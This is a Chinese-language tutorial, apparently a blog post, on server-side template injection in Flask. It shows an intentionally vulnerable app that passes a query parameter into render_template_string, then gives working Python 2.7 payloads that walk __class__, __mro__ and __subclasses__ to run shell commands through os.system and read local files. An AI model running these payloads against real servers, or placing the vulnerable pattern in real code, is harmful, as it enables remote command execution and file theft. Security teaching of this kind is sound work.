首先我们来了解和介绍一下flask:
Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。Flask使用 BSD 授权。
Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。
简单说 也就是轻量级的WEB服务器框架,对于这个有兴趣的可以自行去学习。
真正形成漏洞的原因就是由于可控参数被用户所掌控而造成命令执行等,可以使用魔术方法进行注入。
以下面这个代码为例,我们看到第7行被实现可控的参数,并且被返回,那么这样就给了我们一定的利用机会。
1 from flask import Flask,render_template_string,request
2 app=Flask(__name__)
3 @app.route("/")
4 def hello():
5 code = request.args.get('name')
6 html='''
7 <h3>HELLO:%s</h3>
8 '''%(code)
9 return render_template_string(html)
10 if __name__ == '__main__':
11 app.run(host="0.0.0.0",port=8082,debug=True)
so,那么了解完flask,我们继续了解一下python的一些魔术方法吧。
1 __class__ 返回类型所属的对象
2 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
3 __base__ 返回该对象所继承的基类
4 // __base__和__mro__都是用来寻找基类的
5
6 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
7 __init__ 类的初始化方法
8 __globals__ 对包含函数全局变量的字典的引用
我们输入 class 就会返回类型的所属对象,__mro__则可以返回一个包含对象所继承的基类元组。
接着继续输入 __subclasses__即可看到所有的子类的引用,由于太多太乱,我们可以使用for循环去看循序。
至于怎么去循环出来,我就不演示了,太辣鸡了,我们可以看到这里有个file,我们可以进行引用。
神奇的发现居然可以读出我们本地的文件。
那么我们开始复现吧!
一眼就可以看出来,这是一个可控的参数对吧。
首先我们去找到site._Printer的index,之后引用执行命令。
''.__class__.__mro__[2].__subclasses__()[68].__init__.__globals__['os'].system('ls > /var/dump')
再配合
''.__class__.__mro__[2].__subclasses__()[40]('/var/dump').read()
完美结合
嗯???????
不好意思,翻车了,我们重新再来。
稽智如我,成功执行了。
PS:该版本漏洞仅限于:python 2.7